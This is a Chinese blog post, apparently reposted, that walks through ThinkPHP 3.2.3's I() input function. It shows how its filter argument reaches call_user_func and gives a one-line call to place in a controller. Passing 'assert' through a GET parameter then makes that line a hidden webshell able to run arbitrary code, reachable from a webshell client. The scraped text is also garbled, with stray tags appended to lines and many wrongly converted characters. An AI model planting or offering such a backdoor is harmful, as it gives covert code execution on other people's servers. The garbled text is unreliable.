原文連接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.htmlphp
90sec上有人問,我說了還有小白不會用。去年我審計TP的時候留意到的,乾脆分析一下代碼和操做過程。html
thinkphp的I函數,是其處理輸入的函數,通常用法爲I('get.id')——從$_GET數組中取出鍵爲id的值,post、cookie相似。web
let me see see I函數的代碼:正則表達式
01 |
function I( $name , $default = '' , $filter = null, $datas = null) |
02 |
{ |
03 |
... |
04 |
05 |
if ( '' == $name ) { |
06 |
// 獲取所有變量 |
07 |
$data = $input ; |
08 |
$filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
09 |
if ( $filters ) { |
10 |
if ( is_string ( $filters )) { |
11 |
$filters = explode ( ',' , $filters ); |
12 |
} |
13 |
foreach ( $filters as $filter ) { |
14 |
$data = array_map_recursive( $filter , $data ); // 參數過濾 |
15 |
} |
16 |
} |
17 |
} elseif (isset( $input [ $name ])) { |
18 |
// 取值操做 |
19 |
$data = $input [ $name ]; |
20 |
$filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
21 |
if ( $filters ) { |
22 |
if ( is_string ( $filters )) { |
23 |
if (0 === strpos ( $filters , '/' )) { |
24 |
if (1 !== preg_match( $filters , (string) $data )) { |
25 |
// 支持正則驗證 |
26 |
return isset( $default ) ? $default : null; |
27 |
} |
28 |
} else { |
29 |
$filters = explode ( ',' , $filters ); |
30 |
} |
31 |
} elseif ( is_int ( $filters )) { |
32 |
$filters = array ( $filters ); |
33 |
} |
34 |
35 |
if ( is_array ( $filters )) { |
36 |
foreach ( $filters as $filter ) { |
37 |
if (function_exists( $filter )) { |
38 |
$data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); // 參數過濾 |
39 |
} else { |
40 |
$data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
41 |
if (false === $data ) { |
42 |
return isset( $default ) ? $default : null; |
43 |
} |
44 |
} |
45 |
} |
46 |
} |
47 |
} |
48 |
... |
49 |
return $data ; |
50 |
} |
I函數的第三個參數是$filter,做用是對變量的過濾。thinkphp
新版本(3.2.3)中,$filter能夠傳入兩種4種值:shell
1.一個過濾函數(字符串)數組
2.一些過濾函數組成的字符串,其間用「|」分割cookie
3.一些過濾函數的字符串組成的數組ide
4.以「/」開頭的正則表達式函數
可見代碼,若$filter爲空的話,其默認值爲C('DEFAULT_FILTER')。咱們在配置文件中能夠看到,DEFAULT_FILTER=htmlspecialchars
以上4個狀況最後歸爲兩個,1是過濾回調函數,2是過濾的正則。正則部分以下:
1 |
if (0 === strpos ( $filters , '/' )) { |
2 |
if (1 !== preg_match( $filters , (string) $data )) { |
3 |
// 支持正則驗證 |
4 |
return isset( $default ) ? $default : null; |
5 |
} |
6 |
} |
若是第0個字符是/,則說明傳入的是正則,用preg_match進行匹配驗證,不匹配則返回默認值$default。
而回調函數部分,是咱們留後門的關鍵。核心是這一段:
01 |
if ( is_array ( $filters )) { |
02 |
foreach ( $filters as $filter ) { |
03 |
if (function_exists( $filter )) { |
04 |
$data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); // 參數過濾 |
05 |
} else { |
06 |
$data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
07 |
if (false === $data ) { |
08 |
return isset( $default ) ? $default : null; |
09 |
} |
10 |
} |
11 |
} |
12 |
} |
若是函數存在,則直接調用array_map_recursive執行。若是函數不存在,則用php默認的過濾器filter_var進行過濾。
咱們跟進array_map_recursive函數:
01 |
function array_map_recursive( $filter , $data ) |
02 |
{ |
03 |
$result = array (); |
04 |
foreach ( $data as $key => $val ) { |
05 |
$result [ $key ] = is_array ( $val ) |
06 |
? array_map_recursive( $filter , $val ) |
07 |
: call_user_func( $filter , $val ); |
08 |
} |
09 |
return $result ; |
10 |
} |
明顯是一個遞歸執行的過程,最後調用的是call_user_func 。
還記得我說過的php回調後門麼(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,竟然給咱們預置了一個回調後門,讓咱們能夠萬分隱蔽的留下webshell。
因此,咱們只須要隨意找個controller,在可訪問的方法中插入:
1 |
I( 'post.90sec' , '' , I( 'get.i' )); |
如上,第三個參數就是剛說的$filter,咱們只須要把回調後門函數名字(assert)做爲第三個參數傳入,便可構造一個回調後門。
我就拿thinkphp默認的IndexController下的index方法示例:
以下便可執行任意代碼:
一個回調後門,菜刀也能夠鏈接。